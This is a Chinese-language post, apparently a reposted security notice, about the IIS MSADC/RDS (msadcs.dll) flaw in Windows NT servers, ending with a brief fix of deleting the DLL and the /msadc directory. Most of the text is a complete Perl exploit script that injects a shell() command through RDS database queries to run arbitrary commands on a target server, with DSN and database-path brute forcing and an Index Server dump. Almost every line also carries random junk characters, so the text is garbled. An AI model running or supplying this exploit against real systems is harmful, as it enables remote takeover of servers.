IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
$gXkx D '3IkPy1Uz 涉及程序：
oD Q9.t Microsoft NT server
@#'yPV1 z&\Il#'\m+ 描述：
{(8U8f<'=y 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
x;<oaT$X
<|ka{=T 详细：
I3V{"Nx 6 如果你没有时间读详细内容的话，就删除:
v/QEu^C c:\Program Files\Common Files\System\Msadc\msadcs.dll
dw @TbJ 有关的安全问题就没有了。
[P (rY 9(i0" hS^ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
&Xj {:s# 7uWJ6Wk 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
zjZ;xn 关于利用ODBC远程漏洞的描述，请参看:
W*1d
X"S #i'C http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm T2;v<( .~FKyP>[$ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
#JHy[!4 http://www.microsoft.com/security/bulletins/MS99-025faq.asp (jD'+ "?
zZ S>+O 这里不再论述。
k8!hvJ)? @2-Hj ~ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
0[_O +u ]Om'naD /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
~Rx~g 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
BY hmJ C| -6.i\
B {o Q(<&Aw #将下面这段保存为txt文件，然后: "perl -x 文件名"
Y g\{S<wr 5 ]A$P\7~1 #!perl
P ]~N- xdV #
m^W*[ ^p # MSADC/RDS 'usage' (aka exploit) script
~N)( ^ 4 #
(MF+/fi # by rain.forest.puppy
KqT#zj #
W)G2Cs?p # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
}Rf}NWU)| # beta test and find errors!
,I 9][_ }3
fL V use Socket; use Getopt::Std;
FU [8:o62 getopts("e:vd:h:XR", \%args);
xg*\j)_} ~ z-?rW print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
`8$:F4%P __ oY:d(~ if (!defined $args{h} && !defined $args{R}) {
9b"}CEw print qq~
60Xl. Usage: msadc.pl -h <host> { -d <delay> -X -v }
[qO5~E`; -h <host> = host you want to scan (ip or domain)
2ID*U d* -d <seconds> = delay between calls, default 1 second
y@2vY[)3s -X = dump Index Server path table, if available
#U\&i` -v = verbose
yoq\9* ?u^ -e = external dictionary file for step 5
YD0vfwh yBXkN&1=%; Or a -R will resume a command session
=|j*VF 2y" (6b?ir ~ ~; exit;}
=H .<"7 nm{'HH-4 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
\FY/eQ*07 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
+R{A'Yl[( if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
yH0yO*R Z if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
vu
!j{%GO $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
XZUB* P}]D if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
/h}wM6pg , u8ZS|9 if (!defined $args{R}){ $ret = &has_msadc;
>S-N|uR6 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
t
wa(M? XC+F! R print "Please type the NT commandline you want to run (cmd /c assumed):\n"
'/gxjr& . "cmd /c ";
#'G7mAoA $in=<STDIN>; chomp $in;
2yi*eR $command="cmd /c " . $in ;
B J:E,P`_ dd?x5|/# if (defined $args{R}) {&load; exit;}
ArE H%e )sY$\^'WY print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
;:8jxkx6% &try_btcustmr;
e$p1Th*|]4 Sh~ 8jEk print "\nStep 2: Trying to make our own DSN...";
JW Uv H &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
}QApeZd+q !"o1ve`{ print "\nStep 3: Trying known DSNs...";
W[ jW;uk &known_dsn;
+Zty}fe kG|>_5 print "\nStep 4: Trying known .mdbs...";
)|59FOWg &known_mdb;
5W:Gl?$S} C[J`x>-K if (defined $args{e}){
b}EYNCw_7S print "\nStep 5: Trying dictionary of DSN names...";
(|ct`KU0# &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
lyOrM7Gs y<'2BTf print "Sorry Charley...maybe next time?\n";
bSeL"
exit;
$N t]${0 {$u@6&
B ##############################################################################
gs`27Gih FzsS~C$wH{ sub sendraw { # ripped and modded from whisker
K_<lO,[S sleep($delay); # it's a DoS on the server! At least on mine...
Bc d0 my ($pstr)=@_;
}{w_>!ee socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
7y)|^4X2 die("Socket problems\n");
fO^EMy\ if(connect(S,pack "SnA4x8",2,80,$target)){
x9{Sl[2& select(S); $|=1;
HPd+Bd print $pstr; my @in=<S>;
r,Y/4(.c7U select(STDOUT); close(S);
+^]PBMM1w return @in;
U(Hq 4D } else { die("Can't connect...\n"); }}
}~Kyw 7? wzLiVe- ##############################################################################
CpP$HrQ B 3,ig9 sub make_header { # make the HTTP request
;03*qOYc my $msadc=<<EOT
]mJAKy cE% POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
W&~iO User-Agent: ACTIVEDATA
u=ds]XP@ Host: $ip
+~ pc% 3* Content-Length: $clen
!!D:V `F/d Connection: Keep-Alive
ytBxe] yrK--C8 ADCClientVersion:01.06
5
a*'N~ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Um0< I) V;(* \"O --!ADM!ROX!YOUR!WORLD!
Jj^<:t5{rN Content-Type: application/x-varg
4{;8 ]/.a Content-Length: $reqlen
E#HU?<q8 _>:=<xyOq EOT
}mT%N eS ; $msadc=~s/\n/\r\n/g;
aBA#\eV return $msadc;}
GO:1
Z?^ J?,!1V = ##############################################################################
5)SZd) '\E *W!R.] sub make_req { # make the RDS request
NId~| &\ my ($switch, $p1, $p2)=@_;
mGyIr kE my $req=""; my $t1, $t2, $query, $dsn;
7 gR; ` $x#_-Hn if ($switch==1){ # this is the btcustmr.mdb query
o._#= 7|( $query="Select * from Customers where City=" . make_shell();
7+Jma! o $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
2M( PH]D $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
B oiIr[ ( h+'eFAZ elsif ($switch==2){ # this is general make table query
$xn%i\ $query="create table AZZ (B int, C varchar(10))";
(=&bo p $dsn="$p1";}
J/ P@m_Yx + EB,7<5< elsif ($switch==3){ # this is general exploit table query
1-Wnc'(OK $query="select * from AZZ where C=" . make_shell();
DGuUI}|) $dsn="$p1";}
?PxYS%D_L O' sr[ elsif ($switch==4){ # attempt to hork file info from index server
d=5}^v#4 $query="select path from scope()";
f!R^;'a $dsn="Provider=MSIDXS;";}
f6_|dvY3 cwD*>[j elsif ($switch==5){ # bad query
t%YX-@ $query="select";
/ Geks/ $dsn="$p1";}
Xy8ie:D @v-)|8 GdY $t1= make_unicode($query);
X=c
,`&^ $t2= make_unicode($dsn);
m=y,_Pz>U $req = "\x02\x00\x03\x00";
z1KC$~{O $req.= "\x08\x00" . pack ("S1", length($t1));
u {lDof> $req.= "\x00\x00" . $t1 ;
/*p?UW<*4 $req.= "\x08\x00" . pack ("S1", length($t2));
6Bq2?;5 $req.= "\x00\x00" . $t2 ;
Kd[`mkmS $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
,DUQto return $req;}
A
= Az[ @.]K6qC ##############################################################################
",
Rw%_ sT" tS> sub make_shell { # this makes the shell() statement
D!E 9@*Lf return "'|shell(\"$command\")|'";}
'FA)LuAok ujp,D#xHP ##############################################################################
eq 1 4 t:j07 ,1~ sub make_unicode { # quick little function to convert to unicode
6%hEs6-R my ($in)=@_; my $out;
kE(-vE9 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
QO`Sn N} return $out;}
@f01xh=8 1X_!%Z ##############################################################################
s1b\I6&:J -N!soJ< sub rdo_success { # checks for RDO return success (this is kludge)
` &Of82*w my (@in) = @_; my $base=content_start(@in);
aKU8"
5 if($in[$base]=~/multipart\/mixed/){
c M'[;u return 1 if( $in[$base+10]=~/^\x09\x00/ );}
}PD(kk6fX return 0;}
w0%ex#lkm ]~x/8%e76 ##############################################################################
hE`%1j2( D2*Q1n sub make_dsn { # this makes a DSN for us
yD
id` ym my @drives=("c","d","e","f");
WMRgf~TY=2 print "\nMaking DSN: ";
~Wd8>a{w foreach $drive (@drives) {
hD.wKX?oO print "$drive: ";
?j$8Uy$$ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
ump:dL5{ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
?;7>`F6ld . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
f7AJSHe $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
yW,#&>]# | return 0 if $2 eq "404"; # not found/doesn't exist
gl{P LLe[} if($2 eq "200") {
;%.k}R%O@ foreach $line (@results) {
6!PX!
Uk F return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
w
I
7 } return 0;}
T`0gtS S {.8)gVBmA ##############################################################################
- OGy-" #UnO~IE.m$ sub verify_exists {
#:5g` Ch4, my ($page)=@_;
iP\&fZY_ my @results=sendraw("GET $page HTTP/1.0\n\n");
aZ0iwM K return $results[0];}
N0 KRND [? o v J ##############################################################################
{'bkU9+ TZ_'nB~ sub try_btcustmr {
*1]k&#s my @drives=("c","d","e","f");
_[Wrd?Z my @dirs=("winnt","winnt35","winnt351","win","windows");
6D]G*g wk[ /faP]J) foreach $dir (@dirs) {
: v ~ q print "$dir -> "; # fun status so you can see progress
&zDFf9w2 { foreach $drive (@drives) {
}(I DPaJ print "$drive: "; # ditto
BJ2W }R $reqlen=length( make_req(1,$drive,$dir) ) - 28;
oa|*-nw $reqlenlen=length( "$reqlen" );
weadY,-H8 $clen= 206 + $reqlenlen + $reqlen;
_@?Jx/`;bk 03\8e?$ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
90k|u'ikOp if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
rSCX$ @@F else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
`%:(IGxz Yzx0 [_'u ##############################################################################
4T\/wyq0 ^u&Khc~
y sub odbc_error {
WC; a my (@in)=@_; my $base;
jmVy4* P_ my $base = content_start(@in);
\(t>(4s_~ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
;AA7wK 4 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#mxfU>vQ: $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~TIZumGB $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
TmH 13N] return $in[$base+4].$in[$base+5].$in[$base+6];}
Gf.o { print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
#u(,#(P'# print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
AdW7 vn $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
n
9M6wS VQ}3r)ch ##############################################################################
l:}4
6% euC,]n. sub verbose {
e e[NZz my ($in)=@_;
Pt;Ahmi return if !$verbose;
RIx 6& 7$ print STDOUT "\n$in\n";}
iFchD\E*o ()JDjzQT ##############################################################################
k}qiIMdI hvZR4|k> sub save {
CUcjJ|MZ my ($p1, $p2, $p3, $p4)=@_;
% E _{L open(OUT, ">rds.save") || print "Problem saving parameters...\n";
@y&,e,3! print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
X}^gmu<Vla close OUT;}
xM ,( |p( ;g9:0,xT4 ##############################################################################
bd;f@)X cYS+XBz sub load {
eR;0pWVl my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
?MB nnyo6 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
sUMn
(@r @p=<IN>; close(IN);
~]+
jn $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
e:occT $target= inet_aton($ip) || die("inet_aton problems");
&cE,9o%FZ print "Resuming to $ip ...";
a}hM}U! $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
{627*6, if($p[1]==1) {
z9w.=[Io $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Uwa1)Lwn $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
(j"MsCwE my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
5aQg^f%\ if (rdo_success(@results)){print "Success!\n";}
yt ,;^o^ else { print "failed\n"; verbose(odbc_error(@results));}}
fdHxrH >* elsif ($p[1]==3){
feHAZ.8rp+ if(run_query("$p[3]")){
*&MkkI# print "Success!\n";} else { print "failed\n"; }}
LRs; >O elsif ($p[1]==4){
>*CK@"o if(run_query($drvst . "$p[3]")){
L@GD$F=<0 print "Success!\n"; } else { print "failed\n"; }}
^2@~AD`&h exit;}
( Ad! hyE( o|C{ s ##############################################################################
;wB 3H T0jJp7O sub create_table {
! .}{
f;Ls my ($in)=@_;
pdq h'+5 $reqlen=length( make_req(2,$in,"") ) - 28;
mr.DP~O:9p $reqlenlen=length( "$reqlen" );
_"`h~jB $clen= 206 + $reqlenlen + $reqlen;
f
d5 ~'2 my @results=sendraw(make_header() . make_req(2,$in,""));
6>J #M return 1 if rdo_success(@results);
!~v>&bCG>9 my $temp= odbc_error(@results); verbose($temp);
Ba~Iy2\x return 1 if $temp=~/Table 'AZZ' already exists/;
r U5'hK
return 0;}
t,nB`g? xc?<:h" ##############################################################################
rfpxE>_|G E 3.s8}} sub known_dsn {
[N)M]u # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
=Y[ Ae7e my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
LcF3P
4 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
G> >_G<x "banner", "banners", "ads", "ADCDemo", "ADCTest");
!CKUk oX Cn '=_1p foreach $dSn (@dsns) {
U 7?ez print ".";
H skN(Ho next if (!is_access("DSN=$dSn"));
eRbO Hj1 if(create_table("DSN=$dSn")){
L~~Yh{< print "$dSn successful\n";
J K^;-& if(run_query("DSN=$dSn")){
Y1IlH8+0 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
O2f2Fb$B7 print "Something's borked. Use verbose next time\n";}}} print "\n";}
o5R40[" U)8]pUI+/P ##############################################################################
<X*8X zmv -}o;Y)
sub is_access {
_#B/# ^a my ($in)=@_;
5;Xrf= $reqlen=length( make_req(5,$in,"") ) - 28;
*E'K{?-K $reqlenlen=length( "$reqlen" );
wt;aO _l $clen= 206 + $reqlenlen + $reqlen;
UtN>6$u
my @results=sendraw(make_header() . make_req(5,$in,""));
jfamuu 7 my $temp= odbc_error(@results);
ow "Xv verbose($temp); return 1 if ($temp=~/Microsoft Access/);
;0'v`ob'.? return 0;}
FO$Tn+\ 6 UepBXt3) ##############################################################################
OFv} jT 566Qik w2 sub run_query {
) / 's&
D my ($in)=@_;
^cm^JyS) $reqlen=length( make_req(3,$in,"") ) - 28;
HxaUVg0 $reqlenlen=length( "$reqlen" );
z^.0eP8\j $clen= 206 + $reqlenlen + $reqlen;
M-Bw9`#Jw my @results=sendraw(make_header() . make_req(3,$in,""));
~JpU O~i/ return 1 if rdo_success(@results);
~l~g0J my $temp= odbc_error(@results); verbose($temp);
): 6d_g{2 return 0;}
.>n|#XK bE~lc}% ##############################################################################
s tPCw$@ @AOiZOH sub known_mdb {
QL#y)G53Q my @drives=("c","d","e","f","g");
cx}-tj"m- my @dirs=("winnt","winnt35","winnt351","win","windows");
k9n93I|Cm my $dir, $drive, $mdb;
h L RQ) my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Z]<_a) > <h({ +N # this is sparse, because I don't know of many
,H*3_c&Q my @sysmdbs=( "\\catroot\\icatalog.mdb",
#ZA
YP "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
nKdLhCN'= "\\system32\\certmdb.mdb",
s9iM hCu| "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
iq$/ 6!t /eQn$ZRP, my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
V_!i KEU "\\cfusion\\cfapps\\forums\\forums_.mdb",
@V)WJ { "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
q]x@ q "\\cfusion\\cfapps\\security\\realm_.mdb",
uc_
X;M; "\\cfusion\\cfapps\\security\\data\\realm.mdb",
MXb(Z9)]kw "\\cfusion\\database\\cfexamples.mdb",
|k+^D : "\\cfusion\\database\\cfsnippets.mdb",
pC6_
jIZ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
JN_#
[S$
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
o9i\[Ul "\\cfusion\\brighttiger\\database\\cleam.mdb",
GSp1,E2J "\\cfusion\\database\\smpolicy.mdb",
e 3K "\\cfusion\\database\cypress.mdb",
a0R]hENC "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
1*fA >v "\\website\\cgi-win\\dbsample.mdb",
RulIzv "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
( yfT kBy "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
q<VhP 2R ); #these are just
N!AFs WV foreach $drive (@drives) {
;Peyo 1 foreach $dir (@dirs){
'& d4x c foreach $mdb (@sysmdbs) {
Y~R wsx print ".";
lK-I[i! if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
PO&`r r print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
f@0`, if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
c,@6MeKHq print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
v ,;?+Ck } else { print "Something's borked. Use verbose next time\n"; }}}}}
=R 05H2hs jkq+j^ foreach $drive (@drives) {
a;K:~R+@, foreach $mdb (@mdbs) {
+-hmITJ v print ".";
F r~xN!
if(create_table($drv . $drive . $dir . $mdb)){
x>^S..K}L% print "\n" . $drive . $dir . $mdb . " successful\n";
Gsb]e if(run_query($drv . $drive . $dir . $mdb)){
{8' 5 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
' vwBG=9C } else { print "Something's borked. Use verbose next time\n"; }}}}
6{M.S}.^ }
iaB5t<t1r GOt @x9% ##############################################################################
/?sV\shy [# :k3aFz sub hork_idx {
mIyao IE|$ print "\nAttempting to dump Index Server tables...\n";
F<$&G'% H print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
am}zOr\ $reqlen=length( make_req(4,"","") ) - 28;
F}X_I $reqlenlen=length( "$reqlen" );
P1t5-q $clen= 206 + $reqlenlen + $reqlen;
'&9b*u";x( my @results=sendraw2(make_header() . make_req(4,"",""));
;>~iCF k]? if (rdo_success(@results)){
mS0W@# |K my $max=@results; my $c; my %d;
W h,kJis< for($c=19; $c<$max; $c++){
&~i1 @\] $results[$c]=~s/\x00//g;
*4I D$BmO $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
(< h,R@: $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
"P6MLf1 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
/=N`P &R# $d{"$1$2"}="";}
,0~=9dR foreach $c (keys %d){ print "$c\n"; }
T4[eBO } else {print "Index server doesn't seem to be installed.\n"; }}
0PN{
+<? . 6[cMPp x ##############################################################################
&\LbajP:+ tm$3ZzP4 sub dsn_dict {
B4 hR3 % open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Fq8Z: ;C8 while(<IN>){
[(C lvGx $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
y3x_B@}BY next if (!is_access("DSN=$dSn"));
w^~,M3(+)1 if(create_table("DSN=$dSn")){
=6Z 1yw7s print "$dSn successful\n";
[lf[J&}X if(run_query("DSN=$dSn")){
m\(a{x print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
w"~T5%p print "Something's borked. Use verbose next time\n";}}}
hYL u print "\n"; close(IN);}
H_{Yr+p ,D8 Tca\v ##############################################################################
BEw(SQH ?IK[]=! sub sendraw2 { # ripped and modded from whisker
a a|xZ sleep($delay); # it's a DoS on the server! At least on mine...
C-8@elZ1 my ($pstr)=@_;
YJ6Xq||_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
k@?<Aw8 _X die("Socket problems\n");
:0 J;^@ if(connect(S,pack "SnA4x8",2,80,$target)){
NunT1v ed print "Connected. Getting data";
Af;$}P open(OUT,">raw.out"); my @in;
="V6 z$N select(S); $|=1; print $pstr;
LVSJK.B while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
mz47lv1? close(OUT); select(STDOUT); close(S); return @in;
qg_=5s } else { die("Can't connect...\n"); }}
},l3N K }q^CR(h (R ##############################################################################
|.YL 2\ J( 0c#}d sub content_start { # this will take in the server headers
2?&h{PA+ my (@in)=@_; my $c;
;aSEv"iWX for ($c=1;$c<500;$c++) {
K#>B'>A \ if($in[$c] =~/^\x0d\x0a/){
gD-<^Q- if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
xu3qX" else { return $c+1; }}}
Ra/S 46$ return -1;} # it should never get here actually
T a_#Rg*! =7a9~&| ##############################################################################
*cf#:5Nl z;T?2~g! sub funky {
Gd!y,n&s my (@in)=@_; my $error=odbc_error(@in);
@>:r'Fmu- if($error=~/ADO could not find the specified provider/){
O %OeYO69 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
"bJW yUb exit;}
tlj ^ 0 if($error=~/A Handler is required/){
,a}+Jj{ print "\nServer has custom handler filters (they most likely are patched)\n";
uKK+V6}!kj exit;}
*t63c.S if($error=~/specified Handler has denied Access/){
Up~#]X print "\nServer has custom handler filters (they most likely are patched)\n";
&U:;jlST9 exit;}}
$aEL>, X \]zH M.E1 ##############################################################################
u-D%: lz85 Zf ;U=]R sub has_msadc {
GujmBb my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
'Je;3"@ my $base=content_start(@results);
BPW2WSm@< return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
)Zox ;}WK+ return 0;}
8RB\P:6h 3{CXIS ########################
?e0ljx; }}<^f M s$A |>TOY 解决方案：
+ps(9O/B> 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
1jDN=hIl 2、移除web 目录: /msadc
